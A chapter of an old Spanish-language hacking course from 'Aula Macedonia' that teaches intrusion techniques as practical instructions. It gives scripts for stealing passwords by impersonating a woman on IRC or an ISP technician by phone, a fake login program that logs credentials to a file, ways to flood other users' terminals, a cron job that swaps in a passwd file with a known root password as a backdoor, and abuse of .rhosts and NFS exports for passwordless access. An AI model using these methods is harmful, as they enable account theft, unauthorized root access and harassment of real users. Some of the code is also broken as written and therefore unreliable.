Aula Macedonia


Breve Introducción al Mundo del Hacking


Artículo realizado por
Pedro Ferrera "BaDBoY"





Capítulo 5
Apaga y vámonos.

ˇYa hemos llegado a la última unidad de este curso de hacking ! En esta unidad no trataremos un tema en concreto, simplemente voy a explicar un poco de todo. Y muchas cosas son muy interesantes, así que aprovechadlas al máximo.

La ingeniería social

En el capítulo cuatro os expliqué que la mejor manera de coger cuentas (logins y passwords) es usando esta técnica llamada ingeniería social. Hace tiempo leí en un número de SET (http://www.geocities.com/SiliconValley/8726) un artículo de eljacker sobre cómo engañar a la gente en el IRC para conseguir cuentas. Realmente es una técnica que funciona muy bien.

Estos son los pasos que hay que seguir:

1 - Cambio total de identidad. Nos interesa ser una mujer de entre 20 y 25 años, que no tiene ni idea de informática y que se conecta al IRC por primera vez. Generalmente nos pondremos un nombre como Ana, Raquel... Esta mujer que estamos simulando es agradable, simpática y abierta. No tiene novio (generalmente acaba de romper con el que tenía) y físicamente es normal.

2 - Nos conectamos al IRC con nuestro nombre como nickname (el nombre de la mujer que simulamos, por supuesto). Nos conectamos en seguida a canales de ayuda. Si todo va bien muchos tipos empezarán a querer hablar con nosotros.

3 - Tenemos que elegir una víctima. Un tipo de edad media que sea más o menos novatillo en informática. Si observamos a alguien así, en seguida tenemos que entablar amistad con él.

4 - Cuando empezemos a hablar con nuestra víctima le haremos todo tipo de preguntas acerca de informática. La primera conversación la haremos cortita y quedaremos para otro día para seguir hablando.

5 - Después de unas cuantas conversaciones, cuando ya tengamos una cierta confianza con nuestra víctima, le preguntaremos acerca de la conexión a Internet, cómo funciona el acceso telefónico a redes, etc. Tenemos que intentar sacar el máximo de datos acerca de él. Si nos ha dado su e-mail ya sabremos: - Qué proveedor usa

- Qué login tiene

Con lo que sólo nos falta saber el password que usa.

6 - Intentaremos conseguir el password, con mucho cuidado. Por ejemplo, diciéndo el nuestro (falso, claro) y preguntando el suyo. Generalmente contestará algo como "Pero me han dicho que no lo diga..." aquí es cuando tenemos que decir: "Pero si no pasa nada, quedará entre nosotros... y yo te he dicho el mío...".

7 - Si todo va bien conseguiremos el password. Si lo tenemos, no diremos a nuestra víctima quien somos en realidad sino que le haremos creer que no sucede nada, y si conviene, la seguiremos visitando periódicamente con nuestra falsa identidad para que no sospeche nada.

Otra técnica de ingeniería social consiste en hacer llamadas falsas de teléfono. Supongamos que conocemos a algún usuario de un ISP, del cual conocemos su nombre entero, su teléfono y su login al ISP. Si no tenemos una voz convincente no colará. Podemos usar, por ejemplo, pañuelos en la boca para cambiarnos la voz. Lo llamamos y decimos algo así:

Víctima : ¿ Sí ?

Nosotros : ¿ Fernando Ruiz Cortés ?

Víctima : Sí, soy yo

Nosotros : Le llamo desde INTERNET LAMMERS S.A. Ha sucedido un problema con su cuenta de acceso a Internet.

Víctima : ¿ Cúal ?

Nosotros : Creemos que alguien además de usted la ha estado usando repetidas veces.

Víctima : Esta cuenta solo la uso yo desde mi casa.

Nosotros : Creemos que la información de su cuenta está en manos de otra gente, así que lo mejor que podría hacer sería cambiar su password.

Víctima : De acuerdo.

Nosotros : Necesitamos que nos diga su password actual y a continuación el que quiere establecer como nuevo.

Víctima : Mi password ahora es fer10, y como nuevo quiero tener fer60.

Nosotros : Espere un momento.

( Esperamos unos 10 segundos )

Nosotros : Bien, su cuenta ha sido confirmada y hemos aplicado el cambio de password exitosamente. Que tenga un buen día.

Víctima : Adiós.

¿ Lo veis ? Es muy fácil engañar a la gente. Claro que por teléfono nos podemos poner nerviosos y ponernos en evidencia, pero nunca sabrán quien somos si hemos trucado nuestra voz.

Otra técnica que apliqué yo en mis primeros contactos con Internet: fui a un club donde habían bastantes ordenadores y habían dos para conectarse a Internet. No estaban permanentemente conectados, por lo que era necesario establecer una comunicación a través de acceso telefónico a redes. Me dejaron solo y yo dije que ya sabía cómo iba esto. En seguida memoricé el login y la IP del proveedor, y cambié el password de acceso telefónico por uno aleatorio pero con la misma cantidad de carácteres ( de forma que no se notase nada, que se viesen los mismos asteriscos ). Entonces hice ver que intentaba conectar y llamé a la responsable diciéndole que no funcionaba. Intentó conectar y entonces la tía al ver que no iba puso el password otra vez, yo memoricé todas las teclas que apretaba y en mi casa intentándolo unas 5 veces cogí el password correcto. Esta técnica se puede aplicar en casa de un amigo o en cualquier lugar parecido.

Donde es más interesante aplicar técnicas de ingeniería social es en universidades, para poder conseguir shells en sistemas UNIX.

Programación en SHELL y en C

La programación en shell es parecida a la programación de ficheros .BAT en MS-DOS. No os voy a decir casi nada acerca de este tema, os recomiendo que busqueis por Internet algún documento sobre programación en shell.

Básicamente, si sabeis utilizar UNIX podeis hacer algo. Por ejemplo, ejecutar cuatro programas sucesivamente, simplemente teneis que crear un archivo, poner las rutas de los programas, darle permiso de ejecución y ejecutarlo. Los caballos de troya que hemos visto en la unidad 4 son un ejemplo de programación en shell a nivel simple.

Este programa es un ejemplo de cómo introducir inputs (preguntas para coger información referente a una variable determinada) y definir variables:

echo "Login: \c"

read login

echo off

echo "Password:\c"

read password

echo on

echo "Login: $login . Password: $password"

Lo que hace es introducir un prompt de autentificación como el que sale cuando nos conectamos a un sistema UNIX (login/password). Al final, muestra el login y el password que hemos introducido.

En mi opinión es mejor programar en C, claro que la programación en shell también puede ser más apropiada para según qué tipo de situaciones. El programa que os he escrito antes, en C sería así:

main()

{

char *login[80];

char *password[20];

FILE *fichero;

printf("Login: ");

gets(login);

password = getpass("Password:");

fichero = fopen("/usr/badboy/info.hacking","a");

fprintf(fichero,"Nombre de login: (%s), Password: "[%s]\n",login,password);

fclose(fichero);

}

Naturalmente faltaría incluir alguna librería y una desviación a un error, pero es para que os hagais alguna idea. Este programa lo que hace, además, es incluir la información de Login y Password a un fichero situado en /usr/badboy/ llamado info.hacking.

En fin, si de verdad os interesa esto del hacking buscad información acerca de programación tanto en shell como en C.

Chinchando a la gente en un sistema UNIX

Si estás como en un sistema UNIX y hay alguien más conectado, puedes divertirte chinchándolo.

Por ejemplo, puedes enviarle mensajes a su consola. Sin necesidad de ser root.

Primero haces un who:

$ who

badboy tty1

juan tty2

TTY1 es la cónsola que tú usas, y TTY2 la que usa Juan. Los controladores de estas cónsolas están en el directorio /dev/. Una cónsola de tipo TTY es generalmente de un usuario de módem.

Para enviarle un mensaje a Juan, puedes hacer:

$ banner idiota >/dev/tty2

A juan le aparecerá ese mensaje en su pantalla.

De hecho puedes enviar cualquier cosa a la pantalla de Juan. Incluso un archivo de un montón de lineas, si él tiene una conexión mala preferirá desconectar.

$ cat biblia.volumen1 >>/dev/tty2&

A ti el archivo no te aparece, pero a él sí.

Incluso puedes hacer que todo lo que tú hagas le salga a él, transmitiéndole tu shell:

$ sh >/dev/tty2

$ echo Juan, eres tontisimo

$ banner idiota

Hagas lo que hagas le saldrá en su pantalla.

Naturalmente haciendo todas estas memeces te cerrarán el acceso en cuestión de horas, pero si eres root puedes hacer lo que te plazca y luego modificar los logs para que el admin no vea tus travesuras. Claro que Juan, si te ve como root haciendo eso le dirá en seguida al admin real que alguien ha entrado con acceso root y tururú.

Otra cosa que puedes hacer si eres root es modificar el .profile de un usuario de manera que cuando conecte, desconecte sistemáticamente.

Esto se consigue añadiendo una línea "kill -1 0" al .profile de un usuario.

Lo que hagas depende de tu imaginación. Y ya sabes que la imaginación no tiene límites. Puedes chinchar a la gente de un montón de maneras. Y cuando me refiero a chinchar no me refiero a borrar cosas ni nada por el estilo. No es necesario recurrir a eso para pasarlo bien.

La utilidad "Cron"

¿ Qué es Cron ? Cron es el reloj de UNIX. Es, por supuesto, un daemon. Entre otras cosas permite programar tareas para que se ejecuten diariamente a una hora determinada, o solo una vez al año cierto día, etc... Es una utilidad muy bonita, sí señor. Muy bonita para hacer backdoors. El directorio en el que trabajaremos casi siempre es:

/var/spool/cron/crontabs/

Y el fichero que nos interesa se llama "root", ya que dentro de las crontabs pueden haber varios ficheros, cada uno para un usuario distinto. "Root", entonces, son las tareas que el root programa. O dicho de otra manera, el fichero que permite ejecutar CUALQUIER tipo de tarea.

Cada fichero crontab tiene este aspecto:

1 2 3 4 5 6

0 0 * * 1 /usr/bin/updatedb

Hay seis campos:

1 - El primer campo indica el minuto (0 - 59)

2 - El segundo campo indica la hora (0 - 23)

3 - El tercer campo indica el día del mes (1 - 31)

4 - El cuarto campo indica el mes del año (1 - 12)

5 - El quinto campo indica el día de la semana (1 - 7)

6 - El sexto campo es el programa que se ejecuta

Un asterisco significa que se ejecuta en cualquiera de los rangos posibles. En el ejemplo, la utilidad updatedb se ejecuta a las 24:00 todos los lunes del año. ( ¿ Qué tal si ponemos que todas las tareas que ya hayan programadas se ejecuten el 30 de Febrero de cada año ? ¿ Se enfadará el admin ? ).

Sabiendo esto podemos introducir todo tipo de actividades programadas en nuestro favor. He aquí un ejemplo muy rebuscado:

- Hacemos que cada día, a las 2:30 de la mañana el archivo passwd cambie y se convierta en un archivo passwd con una sola entrada, la de root, y con un password que ya conocemos, todo a través de un shellscript, el cual se encarga, al cabo de un minuto, de volver a poner el passwd original de manera que en ese minuto tenemos tiempo de entrar como root (¡ pero solo tenemos un minuto !). Por supuesto hay que sincronizar los relojes. Este es el proceso:

Añadimos este campo al crontab de root:

30 2 * * * /bin/usr/badboy/.prueba

El fichero .prueba es el shellscript que hace todo el tinglao, y está en mi directorio de inicio. Por supuesto tiene ese nombre para no levantar sospechas si el root echa un vistazo a mi directorio de inicio.

Ahora copiamos el archivo passwd y lo modificamos para que solo haya una entrada, la de root, y esta tenga un password normal, por ejemplo:

root:123:0:0:operador:/:/bin/sh

El password es 123.

Este archivo también lo ocultamos, por ejemplo, en mi directorio de inicio (o en cualquier lugar del sistema), y lo llamamos .copia.

Y finalmente hacemos el shellscript .prueba:

cp /etc/passwd /etc/.temp

cp /usr/badboy/.copia /etc/passwd

sleep 60

mv /etc/.temp /etc/passwd

Resumiendo:

- Tenemos un archivo de passwd falso con una sola entrada, la de root, con el password 123 ocultado por ahí

- Tenemos un shellscript que se encarga de copiar ese archivo de passwd falso y a continuación al cabo de un minuto restablecer el archivo de password original

- La línea que hemos añadido al crontab de root se encarga de ejecutar este shellscript cada día del año a las 2:30.

Conclusión: Cada día podemos acceder al sistema como root durante un minuto a las 2:30, con el password 123.

Con la utilidad crontab podemos hacer miles de backdoors y de caballos de troya. Es realmente muy útil.

Los maravillosos comandos "R"

Los comandos "R" son comandos exclusivos del sistema UNIX. La "R" proviene de la palabra Remote. Por lo tanto, los comandos "R" sirven para ejercer tareas de red. Vamos a analizar tres de ellos y a poner ejemplos de lo útiles que pueden ser.

Rlogin

Ya conoceis Rlogin. Como su nombre indica, sirve para hacer login a un sistema remoto.

Lo bueno de Rlogin y de los comandos "r" es que usados de cierta manera nos permiten entrar directamente en el sistema sin necesidad de autentificación.

Ejemplo 1:

En UNIX cada usuario tiene en su directorio de inicio el archivo .rhosts. Este archivo contiene las IP's o Host's válidas para entrar con la cuenta de este usuario. ¿ Qué quiere decir esto ? Quiere decir que, si en el fichero .rhosts de Julia hay un host "julia.com", cualquier usuario que esté conectado a internet con el host "julia.com" podrá entrar directamente con la cuenta Julia sin necesidad de poner password alguno con un rlogin. Entonces, si pudiesemos modificar el .rhosts de Julia y escribir nuestra IP en él, podríamos entrar directamente como Julia sin necesidad de password con un rlogin.

Ejemplo 2:

El fichero host.equiv contiene las direcciones de los ordenadores que pueden entrar directamente al sistema sin autentificación, los ordenadores trusteds o colegas. La configuración de este fichero por defecto permite hacer un rlogin como cualquier usuario (mientras no sea root) del sistema. Así, si queremos entrar como BIN basta con que nosotros en nuestro ordenador seamos BIN.

Ejemplo 3:

Supongamos que el directorio de inicio de Julia está siendo exportado vía NFS y es accesible a todo el mundo. Esta suposición, para qué engañarnos, es muy improbable. El admin tendría que estar muy loco para dejar a cualquier hacker coger cosas del directorio de un usuario de su sistema. Pero es solo una suposición.

export list for ftp.lammahs.org:

/usr/julia (everyone)

/export/swap (easy)

/ftp/ (easy)

Como os he dicho, es una suposición para que sepais cómo aprovechar fallos en el NFS. Lo primero que hacemos es montar el directorio de julia a nuestro ordenador:

# pwd

/

# mkdir /julia

# mount ftp.lammahs.org:/usr/julia /julia

Ahora tenemos acceso a los archivos de julia sin estar conectados al sistema desde nuestro ordenador yendo al directorio julia:

# cd julia

# ls -la

Al hacer un listado detallado veremos todos los ficheros de Julia. En la casilla donde sale el owner del fichero, nos aparecerá un número. Este número es la etiqueta que el root ha puesto a Julia para identificarla. Es el número que aparece en el fichero passwd en la cuenta de Julia.

Podemos ver los archivos pero no podemos modificarlos. Para modificarlos tenemos que estar al mismo nivel, es decir, ser Julia. Para conseguir eso añadimos a nuestro passwd una cuenta que tiene que cumplir estos requisitos:

- el nombre tiene que ser el de julia

- el número identificativo tiene que ser el que hemos visto al listar los ficheros

- no tenemos que especificar password, pondremos uno shadow

- tampoco especificaremos shell

Suponiendo que el número identificativo que hemos encontrado es el 1000, tiene que quedar algo así:

julia:x:1000:1::/:

Como hemos añadido una nueva cuenta a nuestro passwd, ya podemos usarla. Dejamos de ser root para convertirnos en Julia.

Nota: Cambiar de acceso en sistemas UNIX se puede efectuar a través del programa SU. Si somos root y queremos tener acceso de usuario normal, pues escribiremos SU <usuario>. Si somos usuario normal y queremos hacernos root, escribiremos SU root o simplemente SU a secas y nos pedirá el password de root.

# su julia

Ahora que ya somos julia, podemos modificar los ficheros que hemos montado. ¿ Qué se os ocurre que podemos hacer ? Por supuesto, añadir a .rhosts nuestra IP actual para poder hacer un login directamente sin password a ftp.lammahs.org como Julia.

¿ Lo pillais ?

Rusers

Este comando nos permite coger una información detallada del sistema que queremos atacar. Muestra todos los usuarios que están activos, de alguna manera, en la red del sistema.

# rusers -l ftp.lammahs.org

1 2 3 4

root / /bin/sh Tue Nov 7 05:00 on ttyp1 from lammahs.org

bin /bin Never logged in

daemon / Fri Jul 12 00:01 on ttyp0 from lammahs.org

sync / /bin/sync Fri Jul 12 00:01 on ttyp0 from lammahs.org

guest /export/foo /bin/sh Never logged in

ftp /home/ftp Never logged in

Aparecen cuatro campos:

1 - El nombre de login del usuario del sistema

2 - El directorio de inicio del usuario

3 - El shell del usuario

4 - La última vez que hizo login o si está actualmente conectado al sistema.

Rsh

Remote Shell es parecido a Rlogin. Sin embargo, incorpora una opción que permite esquivar los logs WMTP y UTMP, si podemos hacer un login directo. Ejemplo:

# rsh ftp.lammahs.org csh -i

Como ya he dicho antes, esto solo se usa si se puede hacer un login directo como he explicado en la sección Rlogin.

Los auténticos hackers

Si has tenido el valor de leerte todo el curso y ponerlo todo más o menos en práctica, ¡ felicidades ! Ahora tu vida tiene un nuevo sentido. Sin embargo, nunca olvides que todo lo que has aprendido aquí solo ha servido para "iniciarte". Si por saberte a la perfección lo que he intentado explicarte en este cursillo te crees un hacker, tú mismo. No voy a ser yo el que te va a fastidiar tu ilusión. Simplemente, ten presente en todo momento la filosofía hacker. No dejes de leer y de aprender, aprende de todo y de todos y nunca vayas por encima de nadie. No importa en cuántos sitios entres, no importa todas las proezas que llegues a hacer, porque ¿ sabes una cosa ? Los auténticos hackers crearon Internet. Y toda esta gente que por saber "entrar en un sistema" se cree HACKER no llegará a ser nunca lo que los auténticos hackers fueron y son.

El movimiento de hackers en España no es de los mejores, eso hay que admitirlo. Los americanos nos consideran el Tercer Mundo. Los americanos piensan en España y enseguida ven la imagen de una plaza de toros. Tenemos que hacer algo.

La solución no está en leer un cursillo como este y andar chillando por todos los sitios: "¡ Soy un hacker, soy un hacker !". Demostremos que algún día sabremos lo suficiente como para considerarnos hackers y empecemos a abrir nuestras mentes YA. No importa lo que tardemos. Vamos a leer miles de boletines, en todos los idiomas. Lo pondremos todo en práctica. Si algún día nos pillan... algo hemos hecho mal, así que otro día no volverá a suceder. La experiencia nos servirá para aprender.

Entonces, cuando un día veamos una máquina y seamos capaces de usarla de una manera creativa e insólita, entonces podremos decir que somos hackers.

Fe de erratas

Unidad 2: Un listado detallado bajo LINUX no tiene el aspecto que yo escribí. Aparecen, además, muchos más elementos como la fecha de modificación (incluyendo mes, día y hora), el owner del fichero...

Unidad 4: Lo que dije acerca de explotar los fallos del Sendmail es correcto pero se puede matizar. Los exploits referentes a Sendmail muchas veces sólo contienen instrucciones acerca de bugs que permiten, por ejemplo, sobreescribir ficheros en el sistema una vez conectamos al puerto 25 de un sistema. De esta manera, tenemos que pensar qué fichero nos interesa escribir y qué queremos escribir en él para llegar a un determinado propósito. Hay un ejemplo muy claro de esto en la unidad 6 en "Comandos R".

Sobre el IP Spoofing, simplemente aclarar que mediante showmount -e no obtenemos una lista de sistemas trusteds, sino una lista de los directorios que son exportados o importados mediante NFS. La lista que nos interesa está en /etc/hosts.equiv, de manera que no podemos hacer un spoofing si no tenemos acceso a ese fichero, por ejemplo, a través de un bug de Sendmail, o si sabemos alguna dirección trusted de antemano. Sin embargo, si el sistema que queremos atacar tiene algún tipo de actividad NFS, haciendo un showmount (sin el parámetro -e) podremos ver los ordenadores que han montado en algún momento los directorios NFS, en ese caso sí podremos hacer un spoofing.

Temario

Los temas con asterisco tienen que ser revisados en la última unidad porque contienen algún tipo de error o no han sido matizados los suficiente.

Unidades:

  • Capítulo 1 - El arte del hacking
  • Capítulo 2 - Manejando Linux. Entendiendo UNIX.
  • Capítulo 3 - Breve análisis de los sistemas UNIX.
  • Capítulo 4 - Entrar en un sistema y enROOTarse.
  • Capítulo 5 - Ocultarse en un sistema. Seguir hackeando en otros sistemas.
  • Capítulo 6 - Apaga y vámonos.




AULA MACEDONIA
a
MACEDONIA Magazine